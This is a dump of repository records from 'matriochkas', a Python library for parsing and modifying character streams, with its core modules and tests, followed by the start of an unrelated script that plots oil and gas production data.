ModificationEntities.ModificationSide.RIGHT), (56, ''),\n (122, ''), (122, '-', ModificationEntities.ModificationSide.RIGHT),\n (123, ''), (147, ''),\n (147, '-', ModificationEntities.ModificationSide.RIGHT), (148, ''),\n (230, ''), (230, '-', ModificationEntities.ModificationSide.RIGHT),\n (231, ''), (333, ''),\n (333, '-', ModificationEntities.ModificationSide.RIGHT), (334, ''),\n (381, ''), (381, '-', ModificationEntities.ModificationSide.RIGHT),\n (382, ''), (444, ''),\n (444, '-', ModificationEntities.ModificationSide.RIGHT), (445, '')])\n stream_entity = IO.StreamWriter()\n assert (stream_entity.write(parsing_result) == text_result) is True\n\n stream_entity_2 = IO.StreamWriter(write_method='write', return_method='getvalue')\n assert (stream_entity_2.write(parsing_result) == text_result) is True\n" }, { "alpha_fraction": 0.5775352716445923, "alphanum_fraction": 0.5811732411384583, "avg_line_length": 35.27216339111328, "blob_id": "cc128fe27a640ef0304734da511719e98779ac76", "content_id": "73f322aaa8e2d199e7302fd2ef63b25b7647315d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 17592, "license_type": "permissive", "max_line_length": 120, "num_lines": 485, "path": "/matriochkas/core/ParsingEntities.py", "repo_name": "gagabzh/matriochkas", "src_encoding": "UTF-8", "text": "# coding: utf8\n\nfrom enum import Enum\n\nimport abc\nimport copy\n\n\nclass OperatorType(Enum):\n AND = 'and'\n OR = 'or'\n XOR = 'xor'\n\n\nclass Entity(metaclass=abc.ABCMeta):\n @abc.abstractmethod\n def check(self, element, ref_position):\n pass\n\n @abc.abstractmethod\n def get_max_position(self):\n pass\n\n @abc.abstractmethod\n def get_min_position(self):\n pass\n\n\nclass ParsingEntity(Entity, metaclass=abc.ABCMeta):\n @abc.abstractmethod\n def __init__(self):\n self.isNot = False\n\n def __and__(self, other):\n if isinstance(self, ParsingEntity) and isinstance(other, ParsingEntity):\n parsing_operator = ParsingOperator(OperatorType.AND, self, other)\n return parsing_operator\n else:\n raise TypeError(\"Operands have to be ParsingEntity subclasses\")\n\n def __or__(self, other):\n if isinstance(self, ParsingEntity) and isinstance(other, ParsingEntity):\n parsing_operator = ParsingOperator(OperatorType.OR, self, other)\n return parsing_operator\n else:\n raise TypeError(\"Operands have to be ParsingEntity subclasses\")\n\n def __xor__(self, other):\n if isinstance(self, ParsingEntity) and isinstance(other, ParsingEntity):\n parsing_operator = ParsingOperator(OperatorType.XOR, self, other)\n return parsing_operator\n else:\n raise TypeError(\"Operands have to be ParsingEntity subclasses\")\n\n def __rshift__(self, other):\n if isinstance(self, ParsingEntity) and (isinstance(other, ParsingEntity) or other is None):\n parsing_block = ParsingBlock(self, other)\n return parsing_block\n else:\n raise TypeError(\"Left operand has to be ParsingEntity subclass and right operand has to be\"\n \" ParsingEntity subclass or None\")\n\n def __ne__(self, other):\n return not self.__eq__(other)\n\n def __invert__(self):\n result = copy.deepcopy(self)\n result.isNot = not result.isNot\n return result\n\n @abc.abstractmethod\n def __eq__(self, other):\n pass\n\n @abc.abstractmethod\n def __contains__(self, item):\n pass\n\n @abc.abstractmethod\n def __str__(self):\n pass\n\n @abc.abstractmethod\n def __repr__(self):\n self.__str__()\n\n @abc.abstractmethod\n def __copy__(self):\n pass\n\n @abc.abstractmethod\n def __deepcopy__(self, memodict={}):\n pass\n\n\nclass ParsingOperator(ParsingEntity):\n def __init__(self, operator_type, operand_a, operand_b):\n super(ParsingOperator, self).__init__()\n\n if isinstance(operator_type, OperatorType):\n self.operatorType = operator_type\n else:\n raise TypeError('Operator type has to be an OperatorType value')\n\n if isinstance(operand_a, ParsingEntity) and isinstance(operand_b, ParsingEntity):\n self.operandA = operand_a\n self.operandB = operand_b\n else:\n raise TypeError(\"Operands have to be ParsingEntity subclasses\")\n\n def __eq__(self, other):\n if isinstance(other, ParsingOperator):\n if self.operatorType == other.operatorType and self.isNot == other.isNot and\\\n ((self.operandA == other.operandA and self.operandB == other.operandB)\n or (self.operandA == other.operandB and self.operandB == other.operandA)):\n return True\n else:\n return False\n else:\n return False\n\n def __contains__(self, item):\n if isinstance(item, ParsingEntity):\n if self.__eq__(item):\n return True\n else:\n if item in self.operandA or item in self.operandB:\n return True\n else:\n return False\n else:\n raise TypeError(\"Item has to be ParsingEntity subclasses\")\n\n def __str__(self):\n return 'ParsingOperator object'\n\n def __repr__(self):\n return self.__str__()\n\n def __copy__(self):\n result = ParsingOperator(self.operatorType, self.operandA, self.operandB)\n result.isNot = self.isNot\n return result\n\n def __deepcopy__(self, memodict={}):\n result = ParsingOperator(self.operatorType, copy.deepcopy(self.operandA), copy.deepcopy(self.operandB))\n result.isNot = self.isNot\n return result\n\n def check(self, element, ref_position=0):\n if self.operatorType is OperatorType.AND:\n if self.operandA.check(element, ref_position) is True and self.operandB.check(element, ref_position) is \\\n True:\n result = True\n else:\n result = False\n elif self.operatorType is OperatorType.OR:\n if self.operandA.check(element, ref_position) is True or self.operandB.check(element, ref_position) is True:\n result = True\n else:\n result = False\n else:\n if (self.operandA.check(element, ref_position) is True) ^ \\\n (self.operandB.check(element, ref_position) is True):\n result = True\n else:\n result = False\n\n if self.isNot is False:\n return result\n else:\n return not result\n\n def get_max_position(self):\n operand_a = self.operandA.get_max_position()\n operand_b = self.operandB.get_max_position()\n\n if operand_a < 0 and operand_b < 0:\n return 0\n else:\n return max([operand_a, operand_b])\n\n def get_min_position(self):\n operand_a = self.operandA.get_min_position()\n operand_b = self.operandB.get_min_position()\n\n if operand_a > 0 and operand_b > 0:\n return 0\n else:\n return min([operand_a, operand_b])\n\n\nclass ParsingCondition(ParsingEntity):\n def __new__(cls, ar_character, rel_position=0):\n if len(ar_character) > 1:\n result = ParsingCondition(ar_character[0], rel_position)\n for i, element in enumerate(ar_character):\n if i > 0:\n result = result & ParsingCondition(ar_character[i], rel_position=rel_position+i)\n return result\n else:\n return super(ParsingCondition, cls).__new__(cls)\n\n def __init__(self, ar_character, rel_position=0):\n super(ParsingCondition, self).__init__()\n self.relPosition = rel_position\n self.character = ar_character[0]\n\n def __eq__(self, other):\n if isinstance(other, ParsingCondition):\n if self.relPosition == other.relPosition and self.character == other.character \\\n and self.isNot == other.isNot:\n return True\n else:\n return False\n else:\n return False\n\n def __contains__(self, item):\n return self.__eq__(item)\n\n def __str__(self):\n return 'ParsingCondition object'\n\n def __repr__(self):\n return self.__str__()\n\n def __copy__(self):\n result = ParsingCondition(self.character, self.relPosition)\n result.isNot = self.isNot\n return result\n\n def __deepcopy__(self, memodict={}):\n return self.__copy__()\n\n def check(self, element, ref_position=0):\n element_size = len(element)\n if 0 <= ref_position < element_size:\n position = ref_position + self.relPosition\n if 0 <= position < element_size:\n if self.character in element[position]:\n result = True\n else:\n result = False\n\n if self.isNot is False:\n return result\n else:\n return not result\n else:\n raise IndexError('relative position out of range ( 0 <= ref_position + rel_position < len(element) )')\n else:\n raise IndexError('reference position out of range ( 0 <= ref_position < len(element) )')\n\n def get_min_position(self):\n if self.relPosition > 0:\n return 0\n else:\n return self.relPosition\n\n def get_max_position(self):\n if self.relPosition < 0:\n return 0\n else:\n return self.relPosition\n\n\nclass ParsingStructure(Entity):\n def __add__(self, other):\n if isinstance(self, ParsingStructure) and (isinstance(other, ParsingStructure) or other is None):\n parsing_pipeline = ParsingPipeline(self)\n if other is not None:\n parsing_pipeline.add_structure(other)\n return parsing_pipeline\n else:\n raise TypeError(\"Operands have to be ParsingStructure subclasses\")\n\n @abc.abstractmethod\n def check(self, element, ref_position):\n pass\n\n @abc.abstractmethod\n def get_max_position(self):\n pass\n\n @abc.abstractmethod\n def get_min_position(self):\n pass\n\n\nclass ParsingPipeline(ParsingStructure):\n def __init__(self, first_parsing_structure):\n if isinstance(first_parsing_structure, ParsingStructure):\n self.arParsingStructure = list()\n self.arParsingStructure.append(first_parsing_structure)\n self.current_parsing_block_index = 0\n self.isEnded = False\n else:\n raise TypeError(\"Object has to be ParsingStructure object\")\n\n def check(self, element, ref_position=0):\n if not self.isEnded:\n result = self.arParsingStructure[self.current_parsing_block_index].check(element, ref_position)\n if result[1]:\n if self.current_parsing_block_index < len(self.arParsingStructure)-1:\n self.current_parsing_block_index += 1\n else:\n self.isEnded = True\n return result\n else:\n return None\n\n def get_min_position(self):\n ar_min_position = list()\n for parsing_structure in self.arParsingStructure:\n ar_min_position.append(parsing_structure.get_min_position())\n return min(ar_min_position)\n\n def get_max_position(self):\n ar_max_position = list()\n for parsing_structure in self.arParsingStructure:\n ar_max_position.append(parsing_structure.get_max_position())\n return max(ar_max_position)\n\n def add_structure(self, parsing_structure):\n if isinstance(parsing_structure, ParsingPipeline):\n self.arParsingStructure = self.arParsingStructure + parsing_structure.arParsingStructure\n elif isinstance(parsing_structure, ParsingStructure):\n self.arParsingStructure.append(parsing_structure)\n else:\n raise TypeError(\"Object to add has to be ParsingStructure object\")\n\n def reset(self):\n self.current_parsing_block_index = 0\n self.isEnded = False\n\n\nclass ParsingBlock(ParsingStructure):\n def __init__(self, parser, border_condition):\n if isinstance(parser, ParsingEntity):\n self.parser = parser\n else:\n raise TypeError('parser has to be ParsingStructure subclass')\n\n if isinstance(border_condition, ParsingEntity) or border_condition is None:\n self.borderCondition = border_condition\n else:\n raise TypeError('border_condition has to be ParsingStructure subclass or None')\n\n def check(self, element, ref_position=0):\n parser_result = self.parser.check(element, ref_position)\n if self.borderCondition is not None:\n border_condition_result = self.borderCondition.check(element, ref_position)\n else:\n border_condition_result = False\n return parser_result, border_condition_result\n\n def get_min_position(self):\n if self.borderCondition is not None:\n return min([self.parser.get_min_position(), self.borderCondition.get_min_position()])\n else:\n return self.parser.get_min_position()\n\n def get_max_position(self):\n if self.borderCondition is not None:\n return max([self.parser.get_max_position(), self.borderCondition.get_max_position()])\n else:\n return self.parser.get_max_position()\n\n\nclass ParsingResult:\n def __init__(self, stream_class, read_method, write_method, return_method, args, kwargs, ar_index):\n if hasattr(stream_class, '__name__'):\n self.streamClass = stream_class\n else:\n raise TypeError('Stream class has to have __name__ attribute')\n\n if isinstance(read_method, str) or read_method is None:\n self.readMethod = read_method\n else:\n raise TypeError('Read method has to be str object or None')\n\n if isinstance(write_method, str) or write_method is None:\n self.writeMethod = write_method\n else:\n raise TypeError('Write method has to be str object or None')\n\n if isinstance(return_method, str) or return_method is None:\n self.returnMethod = return_method\n else:\n raise TypeError('Return method has to be str object or None')\n\n if isinstance(args, (tuple, list)) and isinstance(kwargs, dict):\n self.arInput = {'args': args, 'kwargs': kwargs}\n else:\n raise TypeError('args has to be list object and kwargs has to be dict object')\n\n if isinstance(ar_index, list):\n self.arIndex = ar_index\n else:\n raise TypeError('ar_index has to be list object')\n\n def __add__(self, other):\n if isinstance(other, ParsingResult) and isinstance(self, ParsingResult):\n if ParsingResult.are_from_the_same_parsing(self, other):\n new_parsing_result = copy.deepcopy(self)\n for element in other.arIndex:\n if (element[0] not in new_parsing_result or \\\n (len(element) == 3 and (element[0], None, element[2]) not in new_parsing_result)) or \\\n (element[1] == '' and (element[0], element[1]) not in new_parsing_result):\n new_parsing_result.arIndex.append(element)\n new_parsing_result.arIndex.sort()\n return new_parsing_result\n else:\n raise ValueError(\"Operands have to come from the same parsing\")\n else:\n raise TypeError(\"Operands have to be ParsingResult classes or subclasses\")\n\n def __contains__(self, item):\n if isinstance(item, int):\n for element in self.arIndex:\n if element[0] == item:\n return True\n return False\n elif isinstance(item, tuple):\n if len(item) == 2:\n for element in self.arIndex:\n if element[0] == item[0] and element[1] == item[1]:\n return True\n return False\n elif len(item) == 3:\n if item[1] is not None:\n for element in self.arIndex:\n if len(element) == 3 and element[0] == item[0] and element[1] == item[1] \\\n and element[2] == item[2]:\n return True\n return False\n else:\n for element in self.arIndex:\n if len(element) == 3 and element[0] == item[0] and element[2] == item[2]:\n return True\n return False\n else:\n return False\n else:\n return False\n\n def __str__(self):\n return str({'Stream class': str(self.streamClass.__name__), 'Inputs': str(self.arInput),\n 'Index result': str(self.arIndex)})\n\n def __repr__(self):\n return 'Parsing result :' + '\\n' + ' Stream class : ' + str(self.streamClass.__name__) + '\\n' + \\\n ' Inputs : ' + str(self.arInput) + '\\n' + ' Index result : ' + str(self.arIndex)\n\n def __copy__(self):\n return ParsingResult(self.streamClass, self.readMethod, self.writeMethod, self.returnMethod,\n self.arInput['args'], self.arInput['kwargs'], self.arIndex)\n\n def __deepcopy__(self, memodict={}):\n return self.__copy__()\n\n @staticmethod\n def are_from_the_same_parsing(parsing_result_a, parsing_result_b):\n if isinstance(parsing_result_a, ParsingResult) and isinstance(parsing_result_b, ParsingResult):\n return (parsing_result_a.streamClass == parsing_result_b.streamClass and\n parsing_result_a.arInput['args'] == parsing_result_b.arInput['args'] and\n parsing_result_a.arInput['kwargs'] == parsing_result_b.arInput['kwargs'] and\n parsing_result_a.readMethod == parsing_result_b.readMethod and\n parsing_result_a.writeMethod == parsing_result_b.writeMethod and\n parsing_result_a.returnMethod == parsing_result_b.returnMethod)\n else:\n raise TypeError(\"Operands have to be ParsingResult classes or subclasses\")\n\n def check_indexes(self):\n previous_index_value = -1\n for index in self.arIndex:\n if index[0] > previous_index_value:\n previous_index_value = index[0]\n else:\n raise ValueError('Indexes have to be sorted in ascending order')\n if len(index[1]) != 1 or not isinstance(index[1], str):\n raise TypeError(\"Indexes characters have to be 'str' objects with a length of 1\")\n\n return True\n" }, { "alpha_fraction": 0.6065176129341125, "alphanum_fraction": 0.6086722612380981, "avg_line_length": 42.68235397338867, "blob_id": "42138e0186d16b8eac60097952e8b24737cacd0a", "content_id": "2931876f63a519408c4ae615f2d15be563fc0495", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3713, "license_type": "permissive", "max_line_length": 106, "num_lines": 85, "path": "/matriochkas/core/ModificationEntities.py", "repo_name": "gagabzh/matriochkas", "src_encoding": "UTF-8", "text": "# coding: utf8\n\nfrom enum import Enum\nfrom matriochkas.core.ParsingEntities import ParsingResult\n\nimport abc\n\n\nclass ModificationSide(Enum):\n LEFT = -1\n RIGHT = 1\n\n\nclass ModificationEntity(metaclass=abc.ABCMeta):\n def __add__(self, other):\n if isinstance(self, ModificationEntity) and isinstance(other, ModificationEntity):\n modification_operator = ModificationOperator(self, other)\n return modification_operator\n else:\n raise TypeError(\"Operands have to be ModificationEntity's subclasses\")\n\n @abc.abstractmethod\n def generate_parsing_result(self, initial_parsing_result):\n pass\n\n\nclass ModificationOperator(ModificationEntity):\n def __init__(self, operand_a, operand_b):\n self.operandA = operand_a\n self.operandB = operand_b\n\n def generate_parsing_result(self, initial_parsing_result):\n parsing_result_a = self.operandA.generate_parsing_result(initial_parsing_result)\n parsing_result_b = self.operandB.generate_parsing_result(initial_parsing_result)\n return parsing_result_a + parsing_result_b\n\n\nclass ModificationOperation(ModificationEntity, metaclass=abc.ABCMeta):\n def __init__(self, rel_position=0):\n self.relPosition = rel_position\n self.parsing_result = list()\n\n\nclass ModificationAdd(ModificationOperation):\n def __init__(self, ar_character, rel_position=0, modification_side=ModificationSide.RIGHT):\n super(ModificationAdd, self).__init__(rel_position=rel_position)\n self.ar_character = ar_character\n self.modificationSide = modification_side\n\n def generate_parsing_result(self, initial_parsing_result):\n if isinstance(initial_parsing_result, ParsingResult):\n ar_index = list()\n for element in initial_parsing_result.arIndex:\n ar_index.append((element[0] + self.relPosition, self.ar_character, self.modificationSide))\n parsing_result = ParsingResult(initial_parsing_result.streamClass,\n initial_parsing_result.readMethod,\n initial_parsing_result.writeMethod,\n initial_parsing_result.returnMethod,\n initial_parsing_result.arInput['args'],\n initial_parsing_result.arInput['kwargs'],\n ar_index)\n return parsing_result\n else:\n raise TypeError('Parameter has to be ParsingResult class or subclass')\n\n\nclass ModificationRemove(ModificationOperation):\n def __init__(self, rel_position=0):\n super(ModificationRemove, self).__init__(rel_position=rel_position)\n\n def generate_parsing_result(self, initial_parsing_result):\n if isinstance(initial_parsing_result, ParsingResult):\n ar_index = list()\n for element in initial_parsing_result.arIndex:\n ar_index.append((element[0]+self.relPosition, ''))\n parsing_result = ParsingResult(initial_parsing_result.streamClass,\n initial_parsing_result.readMethod,\n initial_parsing_result.writeMethod,\n initial_parsing_result.returnMethod,\n initial_parsing_result.arInput['args'],\n initial_parsing_result.arInput['kwargs'],\n ar_index)\n return parsing_result\n else:\n raise TypeError('Parameter has to be ParsingResult class or subclass')\n" }, { "alpha_fraction": 0.59308260679245, "alphanum_fraction": 0.602721631526947, "avg_line_length": 45.8230094909668, "blob_id": "91dcadd42fa6f1a9a4f80c67bd685b42cb1e3e9c", "content_id": "4e73f1ed4b93b5e7d1f027e180ffc8dcb0b6a06e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5291, "license_type": "permissive", "max_line_length": 120, "num_lines": 113, "path": "/matriochkas/tests/ModificationEntities.py", "repo_name": "gagabzh/matriochkas", "src_encoding": "UTF-8", "text": "# coding: utf8\n\nfrom matriochkas.core import ModificationEntities\nimport matriochkas.core.ParsingEntities\nimport matriochkas.tests.ParsingEntities\n\n\n########################################################################################################################\n\n\nclass InstanceModificationEntity(ModificationEntities.ModificationEntity):\n def __init__(self, name):\n super(InstanceModificationEntity, self).__init__()\n self.name = name\n\n def generate_parsing_result(self, initial_parsing_result):\n return True\n\n########################################################################################################################\n\n\nclass InstanceModificationOperation(ModificationEntities.ModificationOperation):\n def __init__(self, name):\n super(InstanceModificationOperation, self).__init__()\n self.name = name\n\n def generate_parsing_result(self, initial_parsing_result):\n return True\n\n########################################################################################################################\n\n\nclass MockParsingResult(core.ParsingEntities.ParsingResult):\n pass\n\n########################################################################################################################\n\n\ndef test_modification_side():\n\n assert len(ModificationEntities.ModificationSide) == 2\n\n assert ModificationEntities.ModificationSide.LEFT.name == 'LEFT'\n assert ModificationEntities.ModificationSide.LEFT.value == -1\n\n assert ModificationEntities.ModificationSide.RIGHT.name == 'RIGHT'\n assert ModificationEntities.ModificationSide.RIGHT.value == 1\n\n\ndef test_modification_entity():\n modification_entity_1 = InstanceModificationEntity('entity 1')\n modification_entity_2 = InstanceModificationEntity('entity 2')\n result = modification_entity_1 + modification_entity_2\n assert isinstance(result, ModificationEntities.ModificationOperator) is True\n assert isinstance(result.operandA, ModificationEntities.ModificationEntity) is True\n assert (result.operandA.name == 'entity 1') is True\n assert isinstance(result.operandB, ModificationEntities.ModificationEntity) is True\n assert (result.operandB.name == 'entity 2') is True\n\n ###################################################################################################################\n\n assert modification_entity_1.generate_parsing_result(None) is True\n\n\ndef test_modification_operation():\n modification_operation = InstanceModificationOperation('operation 1')\n assert isinstance(modification_operation, ModificationEntities.ModificationOperation) is True\n assert (modification_operation.name == 'operation 1') is True\n assert (modification_operation.relPosition == 0) is True\n assert (modification_operation.parsing_result == []) is True\n\n\ndef test_modification_add():\n modification_add_1 = ModificationEntities.ModificationAdd('0', 1, ModificationEntities.ModificationSide.RIGHT)\n parsing_result_1 = core.ParsingEntities.ParsingResult(tests.ParsingEntities.MockStreamClass, 'read method 1',\n 'write method 1', 'return method 1', ['arg a', 'arg b'],\n {'arg c': 'c', 'arg d': 'd'}, [(0, 'A'), (2, 'B')])\n result = modification_add_1.generate_parsing_result(parsing_result_1)\n assert isinstance(result, core.ParsingEntities.ParsingResult) is True\n assert (result.streamClass == tests.ParsingEntities.MockStreamClass) is True\n assert (result.readMethod == 'read method 1') is True\n assert (result.writeMethod == 'write method 1') is True\n assert (result.returnMethod == 'return method 1') is True\n assert (result.arInput == {'args': ['arg a', 'arg b'], 'kwargs': {'arg c': 'c', 'arg d': 'd'}}) is True\n assert (result.arIndex == [(1, '0', ModificationEntities.ModificationSide.RIGHT),\n (3, '0', ModificationEntities.ModificationSide.RIGHT)]) is True\n\n try:\n modification_add_1.generate_parsing_result(None)\n assert False\n except TypeError:\n assert True\n\n\ndef test_modification_remove():\n modification_remove_1 = ModificationEntities.ModificationRemove(1)\n parsing_result_1 = core.ParsingEntities.ParsingResult(tests.ParsingEntities.MockStreamClass, 'read method 1',\n 'write method 1', 'return method 1', ['arg a', 'arg b'],\n {'arg c': 'c', 'arg d': 'd'}, [(0, 'A'), (2, 'B')])\n result = modification_remove_1.generate_parsing_result(parsing_result_1)\n assert isinstance(result, core.ParsingEntities.ParsingResult) is True\n assert (result.streamClass == tests.ParsingEntities.MockStreamClass) is True\n assert (result.readMethod == 'read method 1') is True\n assert (result.writeMethod == 'write method 1') is True\n assert (result.returnMethod == 'return method 1') is True\n assert (result.arInput == {'args': ['arg a', 'arg b'], 'kwargs': {'arg c': 'c', 'arg d': 'd'}}) is True\n assert (result.arIndex == [(1, ''), (3, '')]) is True\n\n try:\n modification_remove_1.generate_parsing_result(None)\n assert False\n except TypeError:\n assert True\n" }, { "alpha_fraction": 0.876052975654602, "alphanum_fraction": 0.8796630501747131, "avg_line_length": 38.57143020629883, "blob_id": "e74bc0fb554df2fa5f94078261ef241c77f1d0bc", "content_id": "a2054ee8975f3e1e05b5d06073ab56743ad6f55b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 831, "license_type": "permissive", "max_line_length": 70, "num_lines": 21, "path": "/matriochkas/__init__.py", "repo_name": "gagabzh/matriochkas", "src_encoding": "UTF-8", "text": "# coding: utf8\n\nfrom matriochkas.core.ParsingEntities import ParsingResult\nfrom matriochkas.core.ParsingEntities import ParsingCondition\nfrom matriochkas.core.ParsingEntities import ParsingOperator\nfrom matriochkas.core.ParsingEntities import ParsingBlock\nfrom matriochkas.core.ParsingEntities import ParsingPipeline\nfrom matriochkas.core.ParsingEntities import OperatorType\n\nfrom matriochkas.core.ModificationEntities import ModificationRemove\nfrom matriochkas.core.ModificationEntities import ModificationSide\nfrom matriochkas.core.ModificationEntities import ModificationAdd\nfrom matriochkas.core.ModificationEntities import ModificationOperator\n\nfrom matriochkas.core.IO import StreamReader\nfrom matriochkas.core.IO import StreamWriter\n\nfrom matriochkas.core.Configuration import StreamClassConfiguration\n\n\n__version__ = '0.1'\n" }, { "alpha_fraction": 0.6634920835494995, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 38.375, "blob_id": "eed0839edb836de5f21c0ac9d0cedf503ae4aa28", "content_id": "fbcc3889e45025917ffde082f19e525aa6f944f2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 315, "license_type": "permissive", "max_line_length": 118, "num_lines": 8, "path": "/matriochkas/core/Configuration.py", "repo_name": "gagabzh/matriochkas", "src_encoding": "UTF-8", "text": "# coding: utf8\n\nfrom enum import Enum\n\n\nclass StreamClassConfiguration(Enum):\n StringIO = {'read_method': 'read', 'write_method': 'write', 'return_method': 'getvalue', 'close_method': 'close'}\n TextIOWrapper = {'read_method': 'read', 'write_method': 'write', 'return_method': 'None', 'close_method': 'close'}\n" } ]
9
rhall35/pete2061
https://github.com/rhall35/pete2061
87095febb585a741c851ca9a862b93b2262d30df
b9969e9a7e58ea95ca799ebb980cc37206a03bfe
a027c72bfc9699353ac7408200b87e0361c09802
refs/heads/master
2020-07-16T04:48:04.114212
2019-12-12T22:36:35
2019-12-12T22:36:35
205,722,727
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6179907321929932, "alphanum_fraction": 0.6597129702568054, "avg_line_length": 30.179292678833008, "blob_id": "ee5eb0f6dde96db9c830865c9792205f746366a8", "content_id": "0df918b133b0a134f576711d1f21a27d74cf034c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12751, "license_type": "no_license", "max_line_length": 130, "num_lines": 396, "path": "/Lab12n13_solved.py", "repo_name": "rhall35/pete2061", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Nov 13 22:22:35 2019\r\n\r\n@author: Hassan Amer\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n#import seaborn as sns\r\n\r\nimport pandas as pd\r\nimport sqlite3\r\n\r\nconn = sqlite3.connect(\"DCA.db\")\r\n\r\ntitleFontSize = 18\r\naxisLabelFontSize = 15\r\naxisNumFontSize = 13\r\n\r\n# Question 1\r\n\r\nfor wellID in range(1,18):\r\n \r\n prodDF = pd.read_sql_query(f\"SELECT time,rate,Cum FROM Rates WHERE wellID={wellID};\", conn) \r\n dcaDF = pd.read_sql_query(\"SELECT * FROM DCAparams;\", conn) #this will grab everything in DCAparams table \r\n \r\n fig, ax1 = plt.subplots()\r\n\r\n ax2 = ax1.twinx()\r\n ax1.plot(prodDF['time'], prodDF['rate'], color=\"green\", ls='None', marker='o', markersize=5,)\r\n ax2.plot(prodDF['time'], prodDF['Cum']/1000, 'b-')\r\n \r\n ax1.set_xlabel('Time, Months')\r\n ax1.set_ylabel('Production Rate, bopm', color='g')\r\n ax2.set_ylabel('Cumulative Oil Production, Mbbls', color='b')\r\n \r\n plt.show()\r\n\r\n# Question 2: gas rates stacked \r\nprodDF.drop([\"rate\",\"Cum\"],axis = 1, inplace = True) #remove rate and Cum columns from dataframe \r\ndcaDF = pd.read_sql_query(\"SELECT wellID FROM DCAparams WHERE fluid='gas';\", conn) #this will grab everything in DCAparams table \r\nfor i in dcaDF['wellID']: \r\n prodDF['Well' + str(i)] = pd.read_sql_query(f\"SELECT rate FROM Rates WHERE wellID={i};\", conn)\r\n \r\nproduction = prodDF.iloc[:,1:].values\r\n\r\ntime = prodDF['time'].values\r\n#print(np.shape(time))\r\n\r\nlabels = prodDF.columns\r\nlabels = list(labels[1:])\r\nprint(labels)\r\nfig, ax = plt.subplots()\r\n#ax.stackplot(time, production[:,0],production[:,1],production[:,2],production[:,3],production[:,4])\r\nax.stackplot(time, np.transpose(production),labels=labels)\r\nax.legend(loc='upper right')\r\nplt.title('Stacked Field Gas Production')\r\nplt.show()\r\n\r\n# Question 3: oil rates stacked \r\noilRatesDF = pd.DataFrame(prodDF['time']) \r\ndcaDF = pd.read_sql_query(\"SELECT wellID FROM DCAparams WHERE fluid='oil';\", conn) #this will grab everything in DCAparams table \r\nfor i in dcaDF['wellID']: \r\n oilRatesDF['Well' + str(i)] = pd.read_sql_query(f\"SELECT rate FROM Rates WHERE wellID={i};\", conn)\r\n \r\nproduction = oilRatesDF.iloc[:,1:].values\r\n\r\ntime = oilRatesDF['time'].values\r\n#print(np.shape(time))\r\n\r\nlabels = oilRatesDF.columns\r\nlabels = list(labels[1:])\r\n#print(labels)\r\nfig, ax = plt.subplots()\r\n#ax.stackplot(time, production[:,0],production[:,1],production[:,2],production[:,3],production[:,4])\r\nax.stackplot(time, np.transpose(production),labels=labels)\r\nax.legend(loc='upper right')\r\nplt.title('Stacked Field Oil Production')\r\nplt.show()\r\n\r\n\r\n# Question 4: Gas Cum. bar-stacked \r\nN = 6\r\nind = np.arange(1,N+1) \r\nmonths = ['Jan','Feb','Mar','Apr','May','Jun']\r\nresult = np.zeros(len(months))\r\nlabels=[]\r\nloc_plts = []\r\nwidth = 0.5\r\n \r\ncumDF = pd.DataFrame(prodDF['time']) \r\ndcaDF = pd.read_sql_query(\"SELECT wellID FROM DCAparams WHERE fluid='gas';\", conn) #this will grab everything in DCAparams table \r\nfor i in dcaDF['wellID']: \r\n cumDF['Well' + str(i)] = pd.read_sql_query(f\"SELECT Cum FROM Rates WHERE wellID={i};\", conn)\r\n\r\nj = 1\r\nfor i in dcaDF['wellID']:\r\n \r\n p1 = plt.bar(cumDF['time'][0:N], cumDF['Well' + str(i)][0:N]/1000,width, bottom = result)\r\n labels.append('Well' + str(i))\r\n loc_plts.append(p1)\r\n plt.ylabel('Gas Production, Mbbls')\r\n plt.title('Cumulative Gas Field Production')\r\n plt.xticks(ind, months, fontweight='bold')\r\n j +=1\r\n split = cumDF.iloc[0:6,1:j].values\r\n result = np.sum(a=split,axis=1)/1000\r\nplt.legend(loc_plts,labels) \r\nplt.show(loc_plts)\r\n#-----------------------------------------------------STOP HERE\r\n# Question 5: Oil Cum. bar-stacked \r\nN = 6\r\nind = np.arange(1,N+1) \r\nmonths = ['Jan','Feb','Mar','Apr','May','Jun']\r\nresult = np.zeros(len(months))\r\nlabels=[]\r\nloc_plts = []\r\nwidth = 0.5\r\n \r\ncumDF = pd.DataFrame(prodDF['time']) \r\ndcaDF = pd.read_sql_query(\"SELECT wellID FROM DCAparams WHERE fluid='oil';\", conn) #this will grab everything in DCAparams table \r\nfor i in dcaDF['wellID']: \r\n cumDF['Well' + str(i)] = pd.read_sql_query(f\"SELECT Cum FROM Rates WHERE wellID={i};\", conn)\r\n\r\nj = 1\r\nfor i in dcaDF['wellID']:\r\n \r\n p1 = plt.bar(cumDF['time'][0:N], cumDF['Well' + str(i)][0:N]/1000,width, bottom = result)\r\n labels.append('Well' + str(i))\r\n loc_plts.append(p1)\r\n plt.ylabel('Oil Production, Mbbls')\r\n plt.title('Cumulative Field Oil Production')\r\n plt.xticks(ind, months, fontweight='bold')\r\n j +=1\r\n split = cumDF.iloc[0:6,1:j].values\r\n result = np.sum(a=split,axis=1)/1000\r\n \r\nplt.legend(loc_plts,labels) \r\nloc_plts = plt.figure(figsize=(36,20),dpi=100)\r\n\r\n# Question 6: Log plots\r\n\r\n# well 15_9-F-1B\r\ndata1 = np.loadtxt(\"volve_logs/15_9-F-1B_INPUT.LAS\",skiprows=69)\r\nDZ1,rho1=data1[:,0], data1[:,16]\r\nDZ1=DZ1[np.where(rho1>0)]\r\nrho1=rho1[np.where(rho1>0)]\r\n\r\n\r\ntitleFontSize = 22\r\nfontSize = 20\r\n#Plotting multiple well log tracks on one graph\r\nfig = plt.figure(figsize=(36,20),dpi=100)\r\nfig.tight_layout(pad=1, w_pad=4, h_pad=2)\r\n\r\nplt.subplot(1, 6, 